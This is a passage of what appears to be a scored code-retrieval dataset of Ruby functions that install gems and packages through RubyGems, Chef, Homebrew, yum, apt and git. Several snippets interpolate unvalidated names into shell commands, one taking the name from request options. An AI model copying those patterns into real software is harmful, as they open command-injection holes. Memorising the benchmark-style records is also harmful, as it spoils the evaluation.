String\n shopts[ :user ] = opts[ :user_install ]\n when nil, false\n shopts[ :user ] = :root\n end\n\n sh_if( \"[ ! -e #{specs[0]} -a ! -e #{specs[1]} ]\", shopts ) do\n super\n end\n else\n super\n end\n end", "title": "" }, { "docid": "86fe8d7583befb1c771e67525b8f0594", "score": "0.6929706", "text": "def install_gem(gem, version: nil, environment: {})\n cmd = \"gem install --user-install --no-format-executable --no-ri --no-rdoc #{gem}\"\n cmd << \" --version #{version}\" unless version.nil?\n system(environment, cmd)\n end", "title": "" }, { "docid": "587122e901b0ed7e06736e338ff13c9d", "score": "0.6925776", "text": "def install(url, name = false, version = false)\n Jim::Installer.new(url, jimhome, :force => force, :name => name, :version => version).install\n end", "title": "" }, { "docid": "b6f9ed31b24244a9478f4cd3b1fb08dc", "score": "0.6906475", "text": "def install_software!( opts = {} )\r\n raise ArgumentError \"missing :package\" unless opts[:package]\r\n \r\n args = { :package_name => opts[:package] }\r\n args[:no_validate] = true if opts[:no_validate]\r\n args[:unlink] = true if opts[:unlink]\r\n \r\n got = @ndev.rpc.request_package_add( args ).parent\r\n errcode = got.xpath('package-result').text.to_i\r\n return true if errcode == 0\r\n \r\n # otherwise return the output error message\r\n got.xpath('output').text.strip \r\n end", "title": "" }, { "docid": "2c2b054f5993f4155b6b74e5547c1ddd", "score": "0.6898536", "text": "def install_gem(load_name,install_name)\n puts \"Information:\\tInstalling #{install_name}\"\n %x[gem install #{install_name}]\n Gem.clear_paths\n require \"#{load_name}\"\nend", "title": "" }, { "docid": "622747654cd3f05b72d4735d9f538a00", "score": "0.6860521", "text": "def install_gem(load_name, install_name)\n puts \"Information:\\tInstalling #{install_name}\"\n %x[gem install #{install_name}]\n Gem.clear_paths\n require \"#{load_name}\"\nend", "title": "" }, { "docid": "4a0cde5e695e7de4abb1a4613488fe8b", "score": "0.68248606", "text": "def gem_install(gem_name, upgrade_if_old: true)\n if gem_installed?(gem_name)\n latest_version = get_gem_latest_version(gem_name)\n current_version = current_gem_version(gem_name)\n if upgrade_if_old && latest_version > current_version\n say_info \"upgrading system gem #{gem_name} version: #{current_version.version} -> \"\\\n \"#{latest_version.version}\"\n `gem install #{gem_name}`\n end\n else\n `gem install #{gem_name}`\n end\nend", "title": "" }, { "docid": "384cca8d2cf1eb55a35bddf1af02058c", "score": "0.6820102", "text": "def use_gem(name, *args)\n run(\"gem list -ie #{name}\", loud: false, raise: true)\n logger.info \"Using installed gem '#{name}' with options: #{args.inspect}\"\n rescue ::GitReflow::Sandbox::CommandError => e\n abort e.message unless e.output =~ /\\Afalse/\n logger.info \"Installing gem '#{name}' with options: #{args.inspect}\"\n say \"Installing gem '#{name}'...\", :notice\n gemfile do\n source \"https://rubygems.org\"\n gem name, *args\n end\n end", "title": "" }, { "docid": "2e213018d23ee3303b77ccb8662f9580", "score": "0.679022", "text": "def ensure_gem_installed(gem_name,version,libname)\n begin\n # try and load the library\n require \"#{libname}\"\n rescue LoadError\n run_context = Chef::RunContext.new(Chef::Node.new, {}, Chef::EventDispatch::Dispatcher.new)\n # if it can't be found, then install the gem\n Chef::Log.warn(\"Installing pre-req #{gem_name} from rubygems.org ..\")\n gem = Chef::Resource::ChefGem.new(gem_name, run_context)\n gem.version version if version\n gem.run_action(:install)\n end\nend", "title": "" }, { "docid": "70f343afb86e6e5cd8e332950e0dd135", "score": "0.67853665", "text": "def install_gem gem, ver=nil\n gem_package gem do\n version ver \n gem_binary \"/usr/local/bin/rvm-gem.sh\"\n end\nend", "title": "" }, { "docid": "c266c4b4a291265489578fc09ff418ef", "score": "0.67843676", "text": "def install_gem\n Jeweler::Commands::InstallGem.build_for(self).run\n end", "title": "" }, { "docid": "2cbc36b5e257301a56f15047f95ba50e", "score": "0.6775223", "text": "def find_gem_to_install(gem_name, version_requirement)\n specs_n_sources = specs_n_sources_matching gem_name, version_requirement\n\n top_3_versions = specs_n_sources.map{|gs| gs.first.version}.uniq[0..3]\n specs_n_sources.reject!{|gs| !top_3_versions.include?(gs.first.version)}\n\n binary_gems = specs_n_sources.reject { |item|\n item[0].platform.nil? || item[0].platform==Platform::RUBY\n }\n\n # only non-binary gems...return latest\n return specs_n_sources.first if binary_gems.empty?\n\n list = specs_n_sources.collect { |spec, source_uri|\n \"#{spec.name} #{spec.version} (#{spec.platform})\"\n }\n\n list << \"Skip this gem\"\n list << \"Cancel installation\"\n\n string, index = choose_from_list(\n \"Select which gem to install for your platform (#{RUBY_PLATFORM})\",\n list)\n\n if index.nil? or index == (list.size - 1) then\n raise RemoteInstallationCancelled, \"Installation of #{gem_name} cancelled.\"\n end\n\n if index == (list.size - 2) then\n raise RemoteInstallationSkipped, \"Installation of #{gem_name} skipped.\"\n end\n\n specs_n_sources[index]\n end", "title": "" }, { "docid": "e8ccc6cb08ee1e7582377009fcb2a10b", "score": "0.6762715", "text": "def install(local: false)\n\tpath = self.build\n\t\n\[email protected]_gem(path, local)\nend", "title": "" }, { "docid": "2e3a4285a7a7e3f2540760b704dc9f1b", "score": "0.6755242", "text": "def install_gem(gem, options = {})\n refresh = options.delete(:refresh) || []\n from_cache = (options.key?(:cache) && options.delete(:cache))\n if from_cache\n install_gem_from_cache(gem, options)\n else\n version = options.delete(:version)\n Gem.configuration.update_sources = false\n\n # Limit source index to install dir\n update_source_index(options[:install_dir]) if options[:install_dir]\n\n installer = Gem::DependencyInstaller.new(options.merge(:user_install => false))\n \n # Force-refresh certain gems by excluding them from the current index\n if !options[:ignore_dependencies] && refresh.respond_to?(:include?) && !refresh.empty?\n source_index = installer.instance_variable_get(:@source_index)\n source_index.gems.each do |name, spec| \n source_index.gems.delete(name) if refresh.include?(spec.name)\n end\n end\n \n exception = nil\n begin\n installer.install gem, version\n rescue Gem::InstallError => e\n exception = e\n rescue Gem::GemNotFoundException => e\n if from_cache && gem_file = find_gem_in_cache(gem, version)\n puts \"Located #{gem} in gem cache...\"\n installer.install gem_file\n else\n exception = e\n end\n rescue => e\n exception = e\n end\n if installer.installed_gems.empty? && exception\n error \"Failed to install gem '#{gem} (#{version || 'any version'})' (#{exception.message})\"\n end\n ensure_bin_wrapper_for_installed_gems(installer.installed_gems, options)\n installer.installed_gems.each do |spec|\n success \"Successfully installed #{spec.full_name}\"\n end\n return !installer.installed_gems.empty?\n end\n end", "title": "" }, { "docid": "bd5984807c36391a45d38020ddb9c462", "score": "0.6735768", "text": "def install_attempt_install(plugin_name) # rubocop: disable Metrics/AbcSize\n installer.install(plugin_name, version: options[:version])\n rescue Inspec::Plugin::V2::PluginExcludedError => ex\n puts(red { \"Plugin on Exclusion List\" } + \" - #{plugin_name} is listed as an incompatible gem - refusing to install.\")\n puts \"Rationale: #{ex.details.rationale}\"\n puts \"Exclusion list location: \" + File.join(Inspec.src_root, \"etc\", \"plugin_filters.json\")\n puts \"If you disagree with this determination, please accept our apologies for the misunderstanding, and open an issue at https://github.com/inspec/inspec/issues/new\"\n exit 2\n rescue Inspec::Plugin::V2::InstallError\n raise if Inspec::Log.level == :debug\n\n results = installer.search(plugin_name, exact: true)\n if results.empty?\n puts(red { \"No such plugin gem \" } + plugin_name + \" could be found on rubygems.org - installation failed.\")\n elsif options[:version] && !results[plugin_name].include?(options[:version])\n puts(red { \"No such version\" } + \" - \" + plugin_name + \" exists, but no such version #{options[:version]} found on rubygems.org - installation failed.\")\n else\n puts(red { \"Unknown error occured \" } + \" - installation failed.\")\n end\n exit 1\n end", "title": "" }, { "docid": "0c30efeef7c9f2dc39aa887aa98b13a5", "score": "0.67326653", "text": "def jruby_install_gem( gems, opts = {} )\n if opts[ :check ] && jruby_check_gem( gems, opts )\n false\n else\n cmd = [ jruby_gem_command, 'install',\n jruby_gem_install_args,\n ( '--user-install' if opts[ :user ] ),\n jruby_gem_version_flags( opts[ :version ] ),\n gems ].flatten.compact\n send( opts[ :user ] ? :run : :sudo, cmd )\n true\n end\n end", "title": "" }, { "docid": "636e83b1d4e5db3fcf0135bffed47f6f", "score": "0.67209524", "text": "def setup_gem(name, options)\n version = [options[:version]].compact\n lib_name = options[:lib] || name\n\n log \"Activating gem #{name}\"\n\n activate(name, lib_name, *version)\n # Gem not installed yet\n rescue Gem::LoadError\n install_gem(name, options)\n activate(name, lib_name, *version)\n end", "title": "" }, { "docid": "a44b9a904f28931ded5542fafc927a15", "score": "0.6694405", "text": "def install dep_or_name, version = Gem::Requirement.default\n if String === dep_or_name then\n find_spec_by_name_and_version dep_or_name, version, @prerelease\n else\n dep_or_name.prerelease = @prerelease\n @specs_and_sources = [find_gems_with_sources(dep_or_name).last]\n end\n\n @installed_gems = []\n\n gather_dependencies\n\n @gems_to_install.each do |spec|\n last = spec == @gems_to_install.last\n # HACK is this test for full_name acceptable?\n next if @source_index.any? { |n,_| n == spec.full_name } and not last\n\n # TODO: make this sorta_verbose so other users can benefit from it\n say \"Installing spd #{spec.full_name}\" if Gem.configuration.really_verbose\n\n _, source_uri = @specs_and_sources.assoc spec\n begin\n local_gem_path = Gem::RemoteFetcher.fetcher.download spec, source_uri,\n @cache_dir\n rescue Gem::RemoteFetcher::FetchError\n next if @force\n raise\n end\n\n inst = Spade::Installer.new local_gem_path,\n :bin_dir => @bin_dir,\n :development => @development,\n :env_shebang => @env_shebang,\n :force => @force,\n :format_executable => @format_executable,\n :ignore_dependencies => @ignore_dependencies,\n :install_dir => @install_dir,\n :security_policy => @security_policy,\n :source_index => @source_index,\n :user_install => @user_install,\n :wrappers => @wrappers\n\n spec = inst.install\n\n @installed_gems << spec\n end\n\n @installed_gems\n end", "title": "" }, { "docid": "22a5beb57bb16f8e65c090dddeb169c4", "score": "0.6684557", "text": "def software_install!( opts = {} )\r\n raise ArgumentError \"missing :package\" unless opts[:package]\r\n \r\n args = { :package_name => opts[:package] }\r\n args[:no_validate] = true if opts[:no_validate]\r\n args[:unlink] = true if opts[:unlink]\r\n args[:reboot] = true if opts[:reboot]\r\n \r\n got = @ndev.rpc.request_package_add( args ).parent\r\n errcode = got.xpath('package-result').text.to_i\r\n return true if errcode == 0\r\n \r\n # otherwise return the output error message\r\n got.xpath('output').text.strip \r\n end", "title": "" }, { "docid": "943ecf22ce40e2014810d522d61e21a5", "score": "0.66678154", "text": "def install_gem(install_dir, gem, version = nil)\n Gem.configuration.update_sources = false\n Gem.clear_paths # default to plain rubygems path\n installer = Gem::DependencyInstaller.new(:install_dir => install_dir)\n exception = nil\n begin\n installer.install gem, version\n rescue Gem::InstallError => e\n exception = e\n rescue Gem::GemNotFoundException => e\n puts \"Locating #{gem} in local gem path cache...\"\n spec = if version\n Gem.source_index.find_name(gem, \"= #{version}\").first\n else\n Gem.source_index.find_name(gem).sort_by { |g| g.version }.last\n end\n if spec && File.exists?(gem_file = \n File.join(spec.installation_path, 'cache', \"#{spec.full_name}.gem\"))\n installer.install gem_file\n end\n exception = e\n end\n if installer.installed_gems.empty? && e\n puts \"Failed to install gem '#{gem}' (#{e.message})\"\n end\n installer.installed_gems.each do |spec|\n puts \"Successfully installed #{spec.full_name}\"\n end\n end", "title": "" }, { "docid": "20a9f7b60f65677e03bb5b32e20f6f7f", "score": "0.6658177", "text": "def install_gem_from_rubygems(gem_name, gem_version = nil)\n Chef::Log.debug(\"Installing #{gem_name}#{\" v#{gem_version}\" if gem_version} from #{new_resource.rubygems_url}\")\n chefgem = Chef::Resource::ChefGem.new(gem_name, run_context)\n chefgem.source(new_resource.rubygems_url) if new_resource.rubygems_url\n chefgem.version(gem_version) if gem_version\n chefgem.run_action(:install)\n end", "title": "" }, { "docid": "c8c162f29a0ddaac298c12e38aee0ce9", "score": "0.6633085", "text": "def install_package(name, version)\n logger.trace(\"#{new_resource} package install options: #{options}\")\n if options.nil?\n shell_out!(\"installp\", \"-aYF\", \"-d\", new_resource.source, new_resource.package_name)\n logger.trace(\"#{new_resource} installed version #{new_resource.version} from: #{new_resource.source}\")\n else\n shell_out!(\"installp\", \"-aYF\", options, \"-d\", new_resource.source, new_resource.package_name)\n logger.trace(\"#{new_resource} installed version #{new_resource.version} from: #{new_resource.source}\")\n end\n end", "title": "" }, { "docid": "73d1c6373ca5fc656cb4395e93bc77f4", "score": "0.66311824", "text": "def load_gem(name, version=nil)\n begin\n gem name, version\n rescue LoadError\n $stderr.puts \"Please run `gem install #{name}` before using this script.\"\n exit 0\n end\n\n require name\nend", "title": "" }, { "docid": "d8040ef889121ed9c1a923161468890e", "score": "0.66243774", "text": "def install_gem(options)\n \n # Get the Gem name.\n gem_name = options[\"gem_name\"]\n \n # Check we have a name and try to install it.\n response = \"No Gem name was given\"\n if gem_name != nil && gem_name != \"\"\n response = Os.run(\"gem install #{gem_name}\")\n end\n \n # If we need to format for HTML then we do that.\n if options[\"format\"] == \"html\"\n response.gsub!(/[\\r\\n]+/, \"<br>\")\n end\n \n # Return the response.\n return response\n \n end", "title": "" }, { "docid": "df8156e2904e618e72da1a02377afae3", "score": "0.66178995", "text": "def install!\n install_dependencies!\n \n if !Config.force? && File.exist?(install_path)\n log(:debug, \"Already installed `#{@gem_spec}'\")\n else\n log(:info, \"Installing `#{@gem_spec}'\")\n download\n unpack\n \n load_full_spec!\n \n replace(data_dir, install_path)\n replace(gem_file, gem_cache_file)\n \n create_bin_wrappers!\n create_ruby_gemspec!\n end\n end", "title": "" }, { "docid": "4dfa104f0fced783edc5a5655b14ec49", "score": "0.6614574", "text": "def install_gem_from_cache(gem, options = {})\n version = options.delete(:version)\n Gem.configuration.update_sources = false\n installer = Gem::DependencyInstaller.new(options.merge(:user_install => false))\n exception = nil\n begin\n if gem_file = find_gem_in_cache(gem, version)\n puts \"Located #{gem} in gem cache...\"\n installer.install gem_file\n else\n raise Gem::InstallError, \"Unknown gem #{gem}\"\n end\n rescue Gem::InstallError => e\n exception = e\n end\n if installer.installed_gems.empty? && exception\n error \"Failed to install gem '#{gem}' (#{e.message})\"\n end\n ensure_bin_wrapper_for_installed_gems(installer.installed_gems, options)\n installer.installed_gems.each do |spec|\n success \"Successfully installed #{spec.full_name}\"\n end\n end", "title": "" }, { "docid": "a52c63a5e189a2379b240ea22fe9fd3e", "score": "0.66083205", "text": "def install_gem_from_rubygems(gem_name, gem_version)\n Chef::Log.warn(\"Installing #{gem_name} v#{gem_version} from Rubygems.org\")\n chefgem = Chef::Resource::ChefGem.new(gem_name, run_context)\n chefgem.version(gem_version)\n chefgem.run_action(:install)\n end", "title": "" }, { "docid": "97499037115e9d66db7197bce0cccec0", "score": "0.65959525", "text": "def gem_install(gemname, options={})\n raise Nano::AlreadyInstalledError if installed?(gemname)\n\n # Get the gemspec; install it if needed.\n spec = get_gemspec(gemname)\n if spec.nil?\n gem_install_opts = \"--no-rdoc --no-ri --no-test\"\n run \"gem install #{gemname} #{gem_install_opts}\"\n raise Nano::NoGemError if $?.to_i > 0\n spec = get_gemspec(gemname)\n end\n\n # Add it (and it's dependencies) to the deps file,\n # and unpack the gems to vendor/.\n empty_directory \"vendor\"\n dependize(spec)\n end", "title": "" }, { "docid": "b519022863ad9b23f8208de4d17ccdfb", "score": "0.6589141", "text": "def util_gem(name, *args) args.last.is_a?(Hash) && args.last.merge!(:require => false); gem(name, *args) end", "title": "" }, { "docid": "ec2d07b0cfddd75794950a6be59167c8", "score": "0.65659225", "text": "def install_package(name, version)\n package_provider.install_package(name, version)\n end", "title": "" }, { "docid": "0bd3a92877e84fec7cbbb0941a6266c5", "score": "0.6562997", "text": "def install(gem_name, version_requirement = \"> 0.0.0\", force=false,\n install_dir=Gem.dir, install_stub=true)\n unless version_requirement.respond_to?(:satisfied_by?)\n version_requirement = Version::Requirement.new [version_requirement]\n end\n installed_gems = []\n begin\n spec, source = find_gem_to_install(gem_name, version_requirement)\n dependencies = find_dependencies_not_installed(spec.dependencies)\n\n installed_gems << install_dependencies(dependencies, force, install_dir)\n\n cache_dir = @options[:cache_dir] || File.join(install_dir, \"cache\")\n destination_file = File.join(cache_dir, spec.full_name + \".gem\")\n\n download_gem(destination_file, source, spec)\n\n installer = new_installer(destination_file)\n installed_gems.unshift installer.install(force, install_dir, install_stub)\n rescue RemoteInstallationSkipped => e\n puts e.message\n end\n installed_gems.flatten\n end", "title": "" }, { "docid": "e37db9e98b5178b6318e75d9d0a166e4", "score": "0.6555495", "text": "def install_dep(dep)\n puts \"Installing #{dep}\"\n Gem::DependencyInstaller.new.install(dep)\nend", "title": "" }, { "docid": "51a450a42a2b284b19f5a3442260d856", "score": "0.65137327", "text": "def perform(command, options = {})\n name, version = options.values_at(:name, :version)\n \n ENV['HOMEBREW_VERBOSE']='true' if options[:verbose]\n if options[:local]\n local_path = File.expand_path(options[:local])\n\n if /\\.gem$/ =~ local_path\n # install from local gem\n name, version = local_path.match(/.*\\/([^-]+)-(.*)\\.gem$/)[1..2]\n else\n # install from local dir\n gemspec_path = `ls #{File.join(local_path, '*')}.gemspec`.chomp\n\n # build local gem\n Dir.chdir(local_path) do\n run \"gem build #{gemspec_path}\"\n end\n\n # find the .gem that was built\n gemspec = Gem::Specification::load(gemspec_path)\n gem_path = File.join(local_path, \"#{File.basename(gemspec.full_gem_path)}.gem\")\n\n # recursively call self to install from local gem\n install(local: gem_path)\n return\n end\n elsif options[:git]\n # clone from github and build gem\n github_gem_path = options[:git]\n name = github_gem_path.match(/.*\\/(.*)\\.git$/)[1]\n target_dir_name = File.join(Dir.tmpdir, \"build-#{name}-#{rand(100000000)}\")\n git_command = \"git clone #{github_gem_path} #{target_dir_name}\"\n git_command += \" --single-branch -b #{options[:ref]}\" if options[:ref]\n run git_command\n # recursively call self to install from local dir\n install(local: target_dir_name)\n return\n else\n # install from rubygems\n gems = `gem list --remote \"^#{name}$\"`.lines\n unless gems.detect { |f| f =~ /^#{name} \\(([^\\s,]+).*\\)/ }\n abort \"Could not find a valid gem '#{name}'\"\n end\n end\n\n klass = name.capitalize.gsub(/[-_.\\s]([a-zA-Z0-9])/) { $1.upcase }.gsub('+', 'x')\n user_gemrc = \"#{ENV['HOME']}/.gemrc\"\n\n template = ERB.new(File.read(File.expand_path(\"../../config/templates/formula.rb.erb\", __FILE__)))\n\n filename = File.join Dir.tmpdir, \"#{name}.rb\"\n\n begin\n open(filename, 'w') do |f|\n f.puts template.result(binding)\n end\n\n run \"brew #{command} #{filename}\"\n ensure\n File.unlink filename\n end\n end", "title": "" }, { "docid": "edf8230642bde5a905a2d3d111cb5a0b", "score": "0.6479355", "text": "def install!; end", "title": "" }, { "docid": "c746cbc769911edbd19f96f7541c93cc", "score": "0.6446015", "text": "def install(version=nil)\n cmd = \"yum install -y #{@package_name}\"\n cmd << \"-#{version}\" if version\n current_shell.exec(cmd)\n\n current_shell.last_exit_status.zero?\n end", "title": "" }, { "docid": "6255096c7d2edc58bb0f6736c871824a", "score": "0.6444709", "text": "def install_driver(driver_name)\n\trc = -1\n\t`#{driver_name} /s /n`\n\trc = $?\n\tif rc.exitstatus == 1\n\t\tputs \"install OK\"\n\t\trc = 0\n\telse\n\t\tputs \"install Fail\"\n\t\trc = 900\n\tend\n\treturn rc\nend", "title": "" }, { "docid": "477db8e1f12754067fbb291671532c04", "score": "0.64287186", "text": "def gem_install(version, gems = BASE_GEMS)\n gems.each do |gem|\n unless `gem list --local`.include?(gem)\n puts \"Installing #{gem} for ruby version #{version}\"\n `gem install #{gem} --no-rdoc --no-ri`\n end\n end\nend", "title": "" }, { "docid": "8b550682d476bde3dc0037e57864aa20", "score": "0.641575", "text": "def install(bundle_name, opts ={})\n\n # Calculate the install path. If a directory already exists at the\n # location, try an update instead.\n install_path = normalize_install_path(bundle_name, opts)\n if !opts[:skip_check] && File.exists?(install_path)\n if opts[:force]\n remove(bundle_name, opts)\n opts.delete(:force)\n opts[:skip_check] = true if opts[:dry_run]\n install(bundle_name, opts)\n else\n display_path = display_path_for(install_path)\n SC.logger.warn %(#{bundle_name} appears to be installed already!)\n SC.logger.info %( ~ If you do not think this bundle is properly installed remove the directory at:)\n SC.logger.info %( ~ #{install_path})\n SC.logger.info %( ~ and try again.)\n end\n \n # Directory does not exist at install location, fetch the resource...\n else\n # Compute/normalize the github path\n github_path = normalize_github_path(bundle_name, opts) \n SC.logger.info(\"Installing #{bundle_name}...\")\n self.fetch(github_path, install_path, opts)\n end\n \n end", "title": "" }, { "docid": "dc24788572ea8a359614e04dada71770", "score": "0.6414029", "text": "def install(bin_name, cmd)\n `which #{bin_name} 2>/dev/null`\n if $? != 0\n log \"installing #{bin_name}\"\n `#{cmd}`\n if $? != 0\n log \"ERROR: failed to install through command '#{cmd}'\"\n false\n else\n true\n end\n else\n false\n end\nend", "title": "" }, { "docid": "8427c7b74d3136612fe360bd2fa80219", "score": "0.6396265", "text": "def install_command(name, reqs=[])\n base = \"gem install #{name}\"\n if reqs\n base + %( -v \"#{reqs[0]}\")\n else\n base\n end\n end", "title": "" }, { "docid": "c74af62550f8cecd2bafa4cabb4ea34d", "score": "0.6390277", "text": "def install_if_missing\n should_be_installed? ? system(@tool_inst_command) : nil\n end", "title": "" }, { "docid": "9472c89dc1f28e1b957c8776539b96a1", "score": "0.6383239", "text": "def install_dep(name, params = nil)\n \"(mkdir -p /etc/puppet/modules && puppet module --modulepath /etc/puppet/modules list | grep #{name}) || puppet module install #{name} #{params}\"\nend", "title": "" }, { "docid": "f00f324c8a7bf1386448313f83a0caee", "score": "0.63692003", "text": "def install_package(name, version)\n pip_install(name, version, upgrade: false)\n end", "title": "" }, { "docid": "026e13bb5471a90802c83ce968c97a77", "score": "0.63629574", "text": "def install_package(names, opts=\"\")\n names.gsub(/\\s+/m, \" \").strip.split(\" \").each do |name|\n execute \"install #{name}\" do\n command %|yum #{opts} install -y #{name}|\n retries 5\n retry_delay 15\n timeout 180\n end\n end\n end", "title": "" }, { "docid": "282f666cdd27e2d43cdffdf33bba6a57", "score": "0.635623", "text": "def install_from_git(host, path, repository, opts = {})\n name = repository[:name]\n repo = repository[:path]\n rev = repository[:rev]\n\n target = \"#{path}/#{name}\"\n\n step \"Clone #{repo} if needed\" do\n on host, \"test -d #{path} || mkdir -p #{path}\"\n on host, \"test -d #{target} || git clone #{repo} #{target}\"\n end\n\n step \"Update #{name} and check out revision #{rev}\" do\n commands = [\"cd #{target}\",\n \"remote rm origin\",\n \"remote add origin #{repo}\",\n \"fetch origin #{opts[:refspec]}\",\n \"clean -fdx\",\n \"checkout -f #{rev}\"]\n on host, commands.join(\" && git \")\n end\n\n step \"Install #{name} on the system\" do\n # The solaris ruby IPS package has bindir set to /usr/ruby/1.8/bin.\n # However, this is not the path to which we want to deliver our\n # binaries. So if we are using solaris, we have to pass the bin and\n # sbin directories to the install.rb\n install_opts = ''\n install_opts = '--bindir=/usr/bin --sbindir=/usr/sbin' if\n host['platform'].include? 'solaris'\n\n on host, \"cd #{target} && \" +\n \"if [ -f install.rb ]; then \" +\n \"ruby ./install.rb #{install_opts}; \" +\n \"else true; fi\"\n end\n end", "title": "" }, { "docid": "b6172eaf42bb491e6763320f3756f647", "score": "0.6344819", "text": "def install_gemspec\n # find gemspec file\n gemspecs = Dir['*.gemspec']\n if gemspecs.size == 0\n raise Gem::Exception.new(\"gemspec not found\")\n elsif gemspecs.size > 1\n raise Gem::Exception.new(\"multiple gemspecs found\")\n end\n gemspec = gemspecs[0]\n\n # load gemspec file\n spec = eval File.read(gemspec)\n name, version = spec.name, spec.version\n prevent_overriding(name, version) unless options[:override]\n\n # build and install\n build_gem gemspec\n install_gem \"#{name}-#{version}.gem\"\n end", "title": "" }, { "docid": "d2a6f63c162390bf1d1de1312e8e8534", "score": "0.633535", "text": "def has_gem!(gem_name, gem_version = nil, msg = nil)\n require 'rubygems'\n gem gem_name, gem_version\n require gem_name\n rescue StandardError => ex\n if msg.nil?\n msg = gem_version.nil? ? gem_name : \"#{gem_name} (#{gem_version})\"\n msg = \"DbAgile requires #{msg} but failed to load it\" \n end\n msg = \"#{msg}\\n#{ex.message}\"\n raise DbAgile::DependencyError, msg, ex.backtrace\n end", "title": "" }, { "docid": "4aa64b55a96fbe2a331563681a2ffc95", "score": "0.63322586", "text": "def cookbook_gem_using(gem, version); end", "title": "" }, { "docid": "bdfe4121068fb820d610e7d8a1b34eed", "score": "0.63100237", "text": "def require_gem(gem_name)\n require 'rubygems/commands/install_command'\n Gem::Specification::find_by_name(gem_name)\n rescue Gem::LoadError\n log(\"Installing the '#{opts.db}' gem...\")\n install_gem(gem_name)\n ensure\n log(\"Using the '#{opts.db}' gem...\")\n require gem_name\n end", "title": "" }, { "docid": "6108072da716baaee70c4515630059ca", "score": "0.62961996", "text": "def has_gem(name, version=nil)\n @commands << (\"expr match $(gem query -q -l -i -n #{name}%s) true > /dev/null\" % if version then \" --version #{version}\" end)\n end", "title": "" }, { "docid": "6da6972c0064491a9c30221505fde418", "score": "0.6268172", "text": "def initialize(gem_name, version = nil, options = {})\n options = DEFAULT_OPTIONS.merge options\n @env_shebang = options[:env_shebang]\n @domain = options[:domain]\n @force = options[:force]\n @format_executable = options[:format_executable]\n @ignore_dependencies = options[:ignore_dependencies]\n @install_dir = options[:install_dir] || Gem.dir\n @security_policy = options[:security_policy]\n @wrappers = options[:wrappers]\n\n @installed_gems = []\n\n spec_and_source = nil\n\n glob = if File::ALT_SEPARATOR then\n gem_name.gsub File::ALT_SEPARATOR, File::SEPARATOR\n else\n gem_name\n end\n\n local_gems = Dir[\"#{glob}*\"].sort.reverse\n\n unless local_gems.empty? then\n local_gems.each do |gem_file|\n next unless gem_file =~ /gem$/\n begin\n spec = Gem::Format.from_file_by_path(gem_file).spec\n spec_and_source = [spec, gem_file]\n break\n rescue SystemCallError, Gem::Package::FormatError\n end\n end\n end\n\n if spec_and_source.nil? then\n version ||= Gem::Requirement.default\n @dep = Gem::Dependency.new gem_name, version\n spec_and_sources = find_gems_with_sources(@dep).reverse\n\n spec_and_source = spec_and_sources.find do |spec, source|\n Gem::Platform.match spec.platform\n end\n end\n\n if spec_and_source.nil? then\n raise Gem::GemNotFoundException,\n \"could not find #{gem_name} locally or in a repository\"\n end\n\n @specs_and_sources = [spec_and_source]\n\n gather_dependencies\n end", "title": "" }, { "docid": "3615cf3d60b583efbeea43fa637b72f5", "score": "0.62659115", "text": "def gem_install( gem, opts = {} )\n cmd = [ gem_command, 'install',\n gem_install_args,\n ( '--user-install' if opts[ :user_install ] ),\n ( '--format-executable' if opts[ :format_executable ] ),\n ( '--conservative' if opts[ :minimize] != false ),\n ( '--minimal-deps' if opts[ :minimize] != false &&\n min_deps_supported? ),\n gem_version_flags( opts[ :version ] ),\n gem ].flatten.compact.join( ' ' )\n\n shopts = {}\n\n case opts[ :user_install ]\n when String\n shopts[ :user ] = opts[ :user_install ]\n when nil, false\n shopts[ :user ] = :root\n end\n\n clean_env( opts[ :user_install ] ) do\n if opts[ :check ]\n _,out = capture( cmd, shopts )\n\n count = 0\n out.split( \"\\n\" ).each do |oline|\n if oline =~ /^\\s*(\\d+)\\s+gem(s)?\\s+installed/\n count = $1.to_i\n end\n end\n count\n else\n sh( cmd, shopts )\n end\n end\n\n end", "title": "" }, { "docid": "04831b211a400914b6ad5d469b50e787", "score": "0.6256403", "text": "def install_package(names, versions)\n name_versions_to_install = desired_name_versions.select { |n, v| lowercase_names(names).include?(n) }\n\n name_nil_versions = name_versions_to_install.select { |n, v| v.nil? }\n name_has_versions = name_versions_to_install.compact\n\n # choco does not support installing multiple packages with version pins\n name_has_versions.each do |name, version|\n choco_command(\"install\", \"-y\", \"--version\", version, cmd_args, name)\n end\n\n # but we can do all the ones without version pins at once\n unless name_nil_versions.empty?\n cmd_names = name_nil_versions.keys\n choco_command(\"install\", \"-y\", cmd_args, *cmd_names)\n end\n end", "title": "" }, { "docid": "b1b7242b3c04841d048b9d7454b053b2", "score": "0.6253394", "text": "def install(version=nil)\n #cmd = \"DEBIAN_FRONTEND=noninteractive apt-get install #{@package_name}\"\n cmd = \"apt-get install #{@package_name}\"\n cmd << \"=#{version}\" if version\n cmd << ' -y'\n current_shell.exec(cmd)\n\n current_shell.last_exit_status.zero?\n end", "title": "" }, { "docid": "264a195fa29206bc048fb8679a6ef1d9", "score": "0.6246601", "text": "def install\n retries = 5\n\n begin\n @installed_gems = @installer.install @gem_name, @gem_version\n @gemspec = @installed_gems.find { |spec| spec.name == @gem_name }\n \"### #{@installed_gems.map { |s| s.full_name }.join \"\\n### \"}\"\n rescue Gem::RemoteInstallationCancelled => e\n raise Tinderbox::ManualInstallError,\n \"Installation of #{@gem_name}-#{@gem_version} requires manual intervention\"\n rescue Gem::Installer::ExtensionBuildError => e\n raise Tinderbox::BuildError, \"Unable to build #{@gem_name}-#{@gem_version}:\\n\\n#{e.message}\"\n rescue Gem::InstallError, Gem::GemNotFoundException => e\n FileUtils.rm_rf File.join(@cache_dir, \"#{@gem_name}-#{@gem_version}.gem\")\n raise Tinderbox::InstallError,\n \"Installation of #{@gem_name}-#{@gem_version} failed (#{e.class}):\\n\\n#{e.message}\"\n rescue SystemCallError => e # HACK push into Rubygems\n retries -= 1\n retry if retries >= 0\n raise Tinderbox::InstallError,\n \"Installation of #{@gem_name}-#{@gem_version} failed after 5 tries\"\n rescue OpenURI::HTTPError => e # HACK push into Rubygems\n raise Tinderbox::InstallError,\n \"Could not download #{@gem_name}-#{@gem_version}\"\n rescue SystemStackError => e\n raise Tinderbox::InstallError,\n \"Installation of #{@gem_name}-#{@gem_version} caused an infinite loop:\\n\\n\\t#{e.backtrace.join \"\\n\\t\"}\"\n end\n end", "title": "" }, { "docid": "c6d68e783b89486853b483ef954454b6", "score": "0.62413347", "text": "def install\n true\n end", "title": "" }, { "docid": "0b5accf2c6dfbf415d304babf309c7a1", "score": "0.62239254", "text": "def install_gem(rubie, spec)\n gem, version = spec\n all_gemsets.each do |rubie, hsh|\n hsh[:gemsets].each do |h|\n if 